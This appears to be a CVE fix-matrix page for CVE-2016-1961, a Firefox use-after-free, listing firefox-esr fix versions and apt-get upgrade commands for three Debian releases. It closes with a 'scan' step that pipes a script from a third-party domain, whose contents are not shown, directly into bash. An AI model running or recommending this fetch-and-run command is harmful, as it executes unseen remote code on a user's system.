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CVE-2016-1961 · cross-distro fix matrix

CVE-2016-1961: Use-after-free vulnerability in the nsHTMLDocument::SetBody function in dom/html/nsHTMLDocument.cpp in Mozilla Firefox before 45.0 and Firefox ESR 38.x before 38.7 allows remote attackers to execute arbitrary code by leveraging mishandling of a root element, aka ZDI-CAN-3574.

Affects 3 Linux releases across 3 (distro × package) combinations.

Fix per ecosystem

Each block below is a distro release where CVE-2016-1961 has a known fix. Run the listed command on that distro to remediate.

Debian bullseye

Source: Debian Security Tracker

  • firefox-esr→ fixed in45.0esr-1urgency: not yet assigned
    sudo apt-get install --only-upgrade -y firefox-esr

Debian bookworm

Source: Debian Security Tracker

  • firefox-esr→ fixed in45.0esr-1urgency: not yet assigned
    sudo apt-get install --only-upgrade -y firefox-esr

Debian trixie

Source: Debian Security Tracker

  • firefox-esr→ fixed in45.0esr-1urgency: not yet assigned
    sudo apt-get install --only-upgrade -y firefox-esr
Are YOU affected by CVE-2016-1961?

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curl https://mindsparkstack.com/scan.sh | bash
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